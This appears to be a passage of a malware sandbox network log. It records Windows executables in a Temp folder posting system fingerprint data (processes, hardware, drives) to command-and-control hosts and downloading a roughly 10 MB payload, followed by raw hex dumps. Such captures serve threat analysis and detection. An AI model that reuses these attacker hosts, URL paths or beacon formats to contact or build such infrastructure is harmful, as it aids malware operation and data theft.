Dec 20, 2024 07:12:37.632775068 CET	1236	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%(9<_{;
Dec 20, 2024 07:12:37.632813931 CET	1236	IN	Data Raw: 05 00 00 00 b9 00 00 00 1b 00 00 00 c6 ff ff ff 97 00 00 00 2e 00 00 00 6c 00 00 00 38 b4 00 00 00 11 06 1e 2f 08 20 0c d2 b0 d2 25 2b 06 20 34 8c 71 eb 25 26 2b b0 16 6a 0d 11 08 20 39 d6 68 ed 5a 20 3b 9a 58 f3 61 2b 9d 16 13 06 11 08 20 e5 18 Data Ascii: .l8/ %+ 4q%&+j 9hZ ;Xa+ -0Z Ka++o&o Z <c_a8_X =Z fua8Fo 84nZ?_b` <oZ v^a8i+%sojY
Dec 20, 2024 07:12:37.632987976 CET	1236	IN	Data Raw: 06 1f 0f 11 06 1f 0f 95 08 1f 0f 95 61 9e 16 13 0a 11 0c 20 18 4e c6 d7 5a 20 a7 1b af 17 61 38 44 fc ff ff 06 1a 5a 8d 2b 00 00 01 13 07 11 0c 20 7e 76 1c b6 5a 20 5f 9c 02 9b 61 38 27 fc ff ff 11 0a 17 58 13 0a 11 0c 20 ef e8 cf ca 5a 20 26 86 Data Ascii: a NZ a8DZ+ ~vZ _a8'X Z &a8%Xd%Xd,%KaT !Z Xa8( mQZ a8 `Z caa8a ]4Z !a8y
Dec 20, 2024 07:12:37.633022070 CET	896	IN	Data Raw: 2a ff ff ff 02 20 ff ff ff 3f 5f 10 00 11 07 20 e5 aa 96 9e 5a 20 22 98 c7 a9 61 38 0e ff ff ff 11 06 a5 01 00 00 1b 0b 11 07 20 bb 31 a2 d2 5a 20 52 75 b6 27 61 38 f3 fe ff ff 06 6e 17 6a 2e 08 20 37 4a ba 4b 25 2b 06 20 84 28 46 46 25 26 11 07 Data Ascii: * ?_ Z "a8 1Z Ru'a8nj. 7JK%+ (FF%& -$Za8~%X~%Xb`~%Xb`~%Xb`~%X~%Xb`~%Xb`~%Xb`(o(
Dec 20, 2024 07:12:37.633058071 CET	1236	IN	Data Raw: 11 06 16 11 04 1a 59 28 15 00 00 0a 11 07 20 12 3d ba 3e 5a 20 99 dd 12 ff 61 38 4a fe ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 Data Ascii: Y( =>Z a8J~%X~%Xb`~%Xb`~%Xb` )Z ?a8nj3 ?7%+ $%&8~( Z Xra8(o( Z >Y'a8~%X~
Dec 20, 2024 07:12:37.633088112 CET	224	IN	Data Raw: ff ff ff b5 00 00 00 90 00 00 00 97 02 00 00 15 00 00 00 f5 00 00 00 7c 02 00 00 38 92 02 00 00 11 07 20 08 ed 6e af 5a 20 53 79 c3 a4 61 2b 8e 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 Data Ascii: \|8 nZ Sya+~%X~%Xb`~%Xb`~%Xb` Z ka8>(o( LZ a8~Y( BEKZ a8~(
Dec 20, 2024 07:12:37.633131981 CET	1236	IN	Data Raw: 00 00 0a 11 07 20 77 4a cb a3 5a 20 a6 f9 29 74 61 38 c8 fe ff ff 06 6e 16 6a 2e 08 20 f3 db 99 66 25 2b 06 20 eb 44 23 69 25 26 38 ae fe ff ff 02 20 ff ff ff 3f 5f 10 00 11 07 20 e2 30 7b eb 5a 20 69 c4 ba 23 61 38 92 fe ff ff 06 6e 17 6a 2e 08 Data Ascii: wJZ )ta8nj. f%+ D#i%&8 ?_ 0{Z i#a8nj. bH%+ ~\M%&8x~%X~%Xb`~%Xb`~%Xb` nZ a8)~%X~%Xb`~%Xb`~%Xb`
Dec 20, 2024 07:12:37.633164883 CET	1236	IN	Data Raw: 20 1f 91 29 48 25 2b 06 20 a6 c7 a0 52 25 26 2b c2 07 17 59 0b 08 20 87 f1 40 8a 5a 20 da c4 75 01 61 2b af 06 17 62 02 7b 04 00 00 04 06 8f 02 00 00 02 03 28 0a 00 00 06 58 0a 20 25 bc 71 5f 2b 91 08 20 0a b5 00 85 5a 20 e3 cb 8d 74 61 2b 82 06 Data Ascii: )H%+ R%&+Y @Z ua+b{(X %q_+ Z ta+{_bY*0 # a%^E0aJ+ vZ [bma+{(b Y+{2 {%+ -%&+X
Dec 20, 2024 07:12:37.633198977 CET	1236	IN	Data Raw: 00 13 30 03 00 07 00 00 00 01 00 00 11 02 28 19 00 00 0a 2a 00 13 30 05 00 43 01 00 00 08 00 00 11 02 20 c0 00 00 00 8d 02 00 00 02 7d 09 00 00 04 02 20 c0 00 00 00 8d 02 00 00 02 7d 0a 00 00 04 02 1f 0c 8d 02 00 00 02 7d 0b 00 00 04 02 1f 0c 8d Data Ascii: 0(*0C } }}}}}s }s&}s2}r}}s}s }s}( W) Ia%^EJ
Dec 20, 2024 07:12:37.752506018 CET	1236	IN	Data Raw: 0c 34 08 20 c5 59 74 8e 25 2b 06 20 85 e1 f2 87 25 26 38 d1 fd ff ff 09 20 76 d6 16 03 5a 20 ad 01 44 79 61 38 bf fd ff ff 16 0a 09 20 c6 26 0d db 5a 20 f0 5d 9b 6c 61 38 ab fd ff ff 16 0b 20 2a 67 83 a0 38 9f fd ff ff 16 0a 09 20 1e 58 68 54 5a Data Ascii: 4 Yt%+ %&8 vZ Dya8 &Z ]la8 g8 XhTZ Aa84 `%+ U%&8sX (,Z a8]r4 L%+ L.%&8D{o\|(0( Nm a%9^E9C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49848	147.45.113.159	80	7624	C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:39.271094084 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 440129 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 37 35 31 35 36 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734675156", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 20, 2024 07:12:39.390733004 CET	4944	OUT	Data Raw: 65 4d 77 31 42 59 6d 76 52 39 6e 77 33 6e 32 63 56 71 48 4a 51 6b 70 38 2b 4a 70 30 61 55 76 68 68 4f 55 30 34 6e 42 30 55 39 6c 78 79 4f 6e 38 71 5a 58 39 45 48 34 4f 46 46 46 46 42 70 54 36 5c 2f 4c 39 53 46 34 2b 51 5c 2f 76 5c 2f 41 4a 5c 2f Data Ascii: eMw1BYmvR9nw3n2cVqHJQkp8+Jp0aUvhhOU04nB0U9lxyOn8qZX9EH4OFFFFBpT6\/L9SF4+Q\/v\/AJ\/X\/Po2rFfsH\/wTG\/Yl+CH7Wvg\/4ran8WIvFgvvBPiPw3YaRP4X8QroxktNb03Uri4ivo57DUoZvJm0xGtniit5F+0XCzvOvkLB+f8AiZ4kZH4VcLVuLuIcJm2My2jjcHgZUMmoYPEY51sbOVOlKNPHY7LqDpxc
Dec 20, 2024 07:12:39.390853882 CET	2472	OUT	Data Raw: 4c 74 63 6b 6e 48 5c 2f 56 54 77 75 38 52 2b 48 38 76 38 45 76 44 32 65 63 59 53 74 6e 64 57 68 6b 47 4f 68 57 79 33 42 30 63 46 6a 63 77 77 57 55 38 4f 59 33 4d 73 75 78 57 62 4c 43 59 76 45 59 65 6f 73 48 68 46 6c 38 59 56 61 75 47 62 71 77 56 Data Ascii: LtcknH\/VTwu8R+H8v8EvD2ecYStndWhkGOhWy3B0cFjcwwWU8OY3MsuxWbLCYvEYeosHhFl8YVauGbqwVamlF+0ip\/osnwLl0rTWPhzxZperW8JLi38QRp4S1IqV3yO0t1eX3hqOCEcefdeJbSWXG4WkZOwcq+leEtIAbxD4wgubgBC2keDbM+IruKTO5oLzWLmfSfDMUbJhVvdF1bxL5Uj\/ADWb7GU9z8NPiZp\/xe+Cmn+
Dec 20, 2024 07:12:39.390903950 CET	2472	OUT	Data Raw: 6e 42 5a 7a 6b 58 46 58 42 76 46 4f 4f 77 57 49 79 31 35 69 73 50 68 70 59 54 47 7a 77 57 4f 79 53 72 50 4d 73 4a 6c 2b 4c 78 73 38 72 78 4f 45 6f 32 78 31 54 41 34 61 6c 6a 71 64 54 44 59 79 6a 52 67 70 71 4d 66 78 50 36 59 48 46 57 4a 34 6d 2b Data Ascii: nBZzkXFXBvFOOwWIy15isPhpYTGzwWOySrPMsJl+Lxs8rxOEo2x1TA4aljqdTDYyjRgpqMfxP6YHFWJ4m+j1xRgM5ybGZPn3CvHPB+CxmHzKOXuviI4zBU8Zgs7o08txeY4TBQzPDYuungaWPxNbA1I4nB1q03Byn+cVFFFf6dn+OJC\/3j+H8hTak8v3\/T\/69R0HQFNZd34U6igCvRUuwe\/+fwprLt\/P8qDoIdg9\/wDP4
Dec 20, 2024 07:12:39.390971899 CET	4944	OUT	Data Raw: 41 4b 2b 50 70 55 4d 65 39 62 66 59 5c 2f 77 44 79 7a 4e 78 35 76 42 7a 39 65 5c 2f 38 41 6e 38 71 75 62 73 71 36 66 36 6e 5c 2f 41 4a 61 5c 2f 75 38 5c 2f 5c 2f 41 4b 76 38 38 65 6c 55 35 50 33 63 6a 6f 34 75 49 48 5c 2f 30 69 4b 58 79 2b 66 54 Data Ascii: AK+PpUMe9bfY\/wDyzNx5vBz9e\/8An8qubsq6f6n\/AJa\/u8\/\/AKv88elU5P3cjo4uIH\/0iKXy+fT\/AOtWhpT6\/L9Q8t2kf5d\/l5lz6\/riq3zyfu3Ty3\/5ZeX\/AC\/Trirjf6vfs3Q+b+6Ple4\/z3\/wh8vzNk33PM\/1cf8AqP8AR\/rnnHag3535f18ytJ80n39j\/wCx\/wAts49O39fpQ2xd6bP9ZFj95\/
Dec 20, 2024 07:12:39.391067982 CET	2472	OUT	Data Raw: 50 66 38 41 42 56 55 35 5c 2f 62 6e 2b 4d 41 5c 2f 75 36 64 38 4c 78 5c 2f 35 69 6a 77 53 66 36 31 2b 67 5c 2f 52 73 34 67 79 6e 4d 5c 2f 47 7a 68 4c 49 75 47 36 65 4c 6a 77 33 77 6e 77 54 78 4c 6c 6d 57 34 6e 4d 61 64 4f 6a 6d 4f 62 34 6e 46 31 Data Ascii: Pf8ABVU5\/bn+MA\/u6d8Lx\/5ijwSf61+g\/Rs4gynM\/GzhLIuG6eLjw3wnwTxLlmW4nMadOjmOb4nF15Znm2d47D0auIpYOePxuKlDC4CnicRHBZdhsDh5169eFetU\/Fvpf5Bm+WfR84wzziSphJcScW8ecJ5nmWFy6pUrZdlGGwdKGWZVkmCxFWnQq4yGAwWFjPE4+ph8PLG5jisdiIUKGHnQoU\/zsZc8jrUVWKK\/09P
Dec 20, 2024 07:12:39.391098976 CET	4944	OUT	Data Raw: 5c 2f 50 30 37 34 35 5c 2f 70 54 30 6a 47 31 5c 2f 33 4d 65 7a 48 38 66 30 34 74 66 38 41 72 2b 37 30 79 54 50 6d 50 5c 2f 37 54 5c 2f 63 51 65 6e 31 39 2b 74 5a 6d 6f 79 50 5a 35 68 33 35 33 5c 2f 77 43 71 6c 5c 2f 38 41 6b 72 38 50 36 55 77 53 Data Ascii: \/P0745\/pT0jG1\/3MezH8f04tf8Ar+70yTPmP\/7T\/cQen19+tZmoyPZ5h353\/wCql\/8Akr8P6UwSFvnR8v8A88\/+nfHpnr0p+5PnR3+SX7P\/AMtf\/Jr+nWofnXfsTy\/3f+rj\/wCW3+ld\/wBP880HQQyNuZETL\/8AHxj+X+e\/5cs8w\/cRN\/7r+n4\/6djtjuB9JlX5tgyj\/wCf9F+tEmWWZ\/3efK8rn\/r
Dec 20, 2024 07:12:39.391138077 CET	2472	OUT	Data Raw: 46 76 71 57 71 49 50 46 48 68 5c 2f 77 41 51 61 5a 6f 4e 74 72 6b 44 2b 47 72 37 78 47 36 76 6a 4e 34 58 55 59 71 64 62 6a 62 4a 4b 55 48 55 78 46 4a 54 71 56 71 6b 49 58 77 30 63 76 6e 57 6e 7a 53 70 4b 50 73 49 30 38 31 79 32 70 48 45 33 2b 72 Data Ascii: FvqWqIPFHh\/wAQaZoNtrkD+Gr7xG6vjN4XUYqdbjbJKUHUxFJTqVqkIXw0cvnWnzSpKPsI081y2pHE3+r1KeOw06dWcKsG86P0ffGnEVPZUPDniStV+r4fFezpYWnUn7LFLMnQi4xrOSxEnk+aRlhGvrVOeAxVOpRhOlKKo01\/un8P5iuJbx5oAtvAmo2mu+GfEOj\/ABL8EeM\/iN4K1fwzf6\/Nb6r4O8F\/E\/4j\/Ci41
Dec 20, 2024 07:12:39.510435104 CET	2472	OUT	Data Raw: 34 5c 2f 49 53 4f 69 6e 62 47 39 50 35 66 34 30 32 67 43 76 52 56 69 71 39 42 30 42 52 52 52 51 42 46 5c 2f 66 38 41 72 5c 2f 55 30 79 70 56 36 74 39 66 36 6d 6d 73 75 4f 52 30 5c 2f 6c 51 62 65 5c 2f 77 44 33 66 78 47 56 48 4a 32 5c 2f 48 2b 6c Data Ascii: 4\/ISOinbG9P5f402gCvRViq9B0BRRRQBF\/f8Ar\/U0ypV6t9f6mmsuOR0\/lQbe\/wD3fxGVHJ2\/H+lSUUFFeipP+Wn+f7tR0AFRydvx\/pUlFB0FeiiigBr\/AHT+H8xUNWKifr+H9TQdAyiiigCF\/vH8P5Cm09+v4f1NMoOgjMfp+IP+f0xUL\/dP4fzFWqhf7x\/D+QoAq0VM\/wB0\/h\/MUzb8ue\/X8P8APP6V0HQ
Dec 20, 2024 07:12:39.510546923 CET	7416	OUT	Data Raw: 72 51 64 46 4f 70 76 70 5c 2f 58 64 66 31 32 31 4b 66 5c 2f 4c 52 45 56 35 48 37 66 38 41 54 44 2b 66 47 4b 47 6a 2b 2b 67 54 5c 2f 70 6c 2b 37 6c 5c 2f 63 56 4e 35 66 7a 54 50 35 4a 66 79 5c 2f 72 35 48 38 2b 61 5a 38 76 48 79 43 62 39 31 35 73 Data Ascii: rQdFOpvp\/Xdf121Kf\/LREV5H7f8ATD+fGKGj++gT\/pl+7l\/cVN5fzTP5Jfy\/r5H8+aZ8vHyCb915ssfm\/n1+tBfO\/L+vmM3JGrp99\/K\/dRx\/r\/Sq22RF37Pn\/wCmf7j\/AD27nFTSbJG8n+Mxf5\/yelDMn7l9kaeXF+9\/4+vf\/P8A+qg1CSP5XeOH5P8AW+XJ\/r\/s\/wDy6DP5j8qhf5dmz\/lp+6l68\/
Dec 20, 2024 07:12:39.510622025 CET	4944	OUT	Data Raw: 5c 2f 61 46 38 61 5a 56 77 35 67 38 67 71 63 49 35 5a 6d 50 73 6f 56 59 59 76 46 59 72 48 59 37 32 6d 4b 64 4b 70 78 50 58 79 69 70 47 56 4f 72 47 74 51 71 35 58 69 2b 4b 63 54 6a 61 4d 71 56 61 4b 6c 69 73 76 79 75 70 4b 4c 6a 52 78 4e 50 46 5c Data Ascii: \/aF8aZVw5g8gqcI5ZmPsoVYYvFYrHY72mKdKpxPXyipGVOrGtQq5Xi+KcTjaMqVaKlisvyupKLjRxNPF\/J3xPX4GeKPjL+0R8KPhf4g8UeEP2J\/GH7I3hH9lH4LfEu+8AeN7WD4e+J4P2iPCH7aGp+JvH\/AIBszN41uPh5dfHefx78PvHl14b8O+KfF6eEru18d+GvC3j7UtIs9D8R9z4T\/a38J\/sz\/ECx8Z\/DLTfgD
Dec 20, 2024 07:12:42.601284981 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 06:12:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 51 51 4d 79 41 34 38 4f 70 33 63 31 62 36 47 59 31 37 33 34 36 37 35 31 36 31 Data Ascii: QQMyA48Op3c1b6GY1734675161

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49859	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:42.367639065 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018267001&unit=246122658369
Dec 20, 2024 07:12:43.775013924 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49862	147.45.113.159	80	7624	C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:42.995728016 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=QQMyA48Op3c1b6GY1734675161 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 20, 2024 07:12:44.612759113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 06:12:44 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 20, 2024 07:12:44.612777948 CET	1236	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSL
Dec 20, 2024 07:12:44.612802029 CET	1236	IN	Data Raw: 57 e4 4c 71 69 da 6f 59 a7 8f 5f 7b ef 4f 11 c9 c4 f8 06 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f Data Ascii: WLqioY_{OMuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/V
Dec 20, 2024 07:12:44.612860918 CET	672	IN	Data Raw: 1e 7a d7 d4 0a ea be d2 2f 1b fe fd 38 3d 22 d7 b1 d7 6f db bb 04 06 f0 1d c4 65 dc 85 cf 73 b0 c9 a6 f5 f3 c9 de cb 33 10 d9 0c db b7 e7 5d 4e 59 82 da 60 18 75 95 28 0f e6 fe ca 94 ab 39 72 a3 40 bb 10 e7 dc b1 3e 62 82 62 0f 79 53 e6 35 3a d4 Data Ascii: z/8="oes3]NY`u(9r@>bbyS5:T.VD+\m(T3rr+6g($8!&v;3+6W<yeYY2C%TslvBiZYc<![x{F $UR
Dec 20, 2024 07:12:44.612932920 CET	1236	IN	Data Raw: 97 2d 22 f8 24 23 2a a6 8b d6 bf c3 c0 8d 83 b0 9b bd 5b c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 Data Ascii: -"$#*[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>
Dec 20, 2024 07:12:44.612948895 CET	1236	IN	Data Raw: c7 2e 72 99 ae 39 a7 3f 8e 79 8c 45 2a b4 37 c7 d2 d2 de 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d Data Ascii: .r9?yE*7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\
Dec 20, 2024 07:12:44.612963915 CET	1236	IN	Data Raw: af 57 a5 1e 15 3b 3b 2b 87 8b 40 7c e4 43 7a 6c 9e 13 a3 da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f Data Ascii: W;;+@\|Czl]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>
Dec 20, 2024 07:12:44.612979889 CET	1236	IN	Data Raw: f7 fc 7d c5 32 a8 1f 65 4a 3f 6c c9 6f 0c 34 95 bc 9e 00 0a 8e 6a c2 e7 5f 63 40 06 56 32 1c 51 57 87 f2 07 fc 76 b0 5b d9 9f 56 95 63 6a 40 2c af 46 ae 83 9e 80 02 58 37 03 4e 64 d1 48 e4 24 e2 21 25 e4 a4 b8 85 b6 d2 32 e5 aa 4b 89 ce cd ed 0e Data Ascii: }2eJ?lo4j_c@V2QWv[Vcj@,FX7NdH$!%2KV?zc%(4N2Bw3\|0.h lLjUazA&>'Kr^Qm_tR[WBA5hkdN48\dOo
Dec 20, 2024 07:12:44.613107920 CET	1236	IN	Data Raw: 26 c8 b6 a2 c5 22 39 c3 ec 0c 3a 29 07 84 cc af 06 04 14 fd a8 95 4f 88 42 b6 4e 10 49 65 cb 02 5a c0 59 f6 d2 e4 96 2e 90 f7 20 e4 9f ab 01 7a 4d d8 36 88 e3 96 fb 67 a2 a2 b1 28 31 73 7a 85 3a e5 81 c9 5c 80 6b e4 ea 6b 77 10 47 30 73 8e c7 19 Data Ascii: &"9:)OBNIeZY. zM6g(1sz:\kkwG0sCQy~>/r8Wni&*dn623aUK9giUhr!Eaa<,402CJTxBlfRT5wVq
Dec 20, 2024 07:12:44.613122940 CET	1236	IN	Data Raw: 6c 28 8a 38 e4 c2 4c 04 40 d5 30 6f 6c 82 5b 76 99 fe 2c cb f2 f6 ba cd c5 2b 8a 49 95 b8 bc f9 62 13 c8 56 2c 93 a6 fc 66 dc e1 69 7c 5f f7 8c 2a 7d 2a 3d 73 dd 9b 9c 9e ef e2 f5 03 e1 ac 5c d4 26 2e 8a 24 46 81 59 40 5f 57 bb 20 01 25 2c e3 ec Data Ascii: l(8L@0ol[v,+IbV,fi\|_}=s\&.$FY@_W %,`yN!udy[Fu02Y$!'Dw=OiafbsBCb"c(^_ uNY``sZ5}JBg;HIJa>\w{_)E
Dec 20, 2024 07:12:44.732374907 CET	1236	IN	Data Raw: f4 54 ac d7 a2 44 c5 88 ee 70 ed 27 43 75 a4 eb 6e 1b 3e ca 90 ea f4 62 0f aa f7 a9 01 80 e0 08 28 c0 7a 15 45 f6 6d 17 90 08 b2 da 55 f7 6a 43 55 2e f0 83 ae a9 7b 7f 80 54 fe 51 7a 87 37 9c 0f 3a c6 02 c8 63 ac bd db c8 af c3 41 05 25 46 69 0d Data Ascii: TDp'Cun>b(zEmUjCU.{TQz7:cA%Figy@EC-\\kno0W.=j\.ROt/q6U?AzN%2;E)gyS@'u(FkAbJpp&f-K_H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
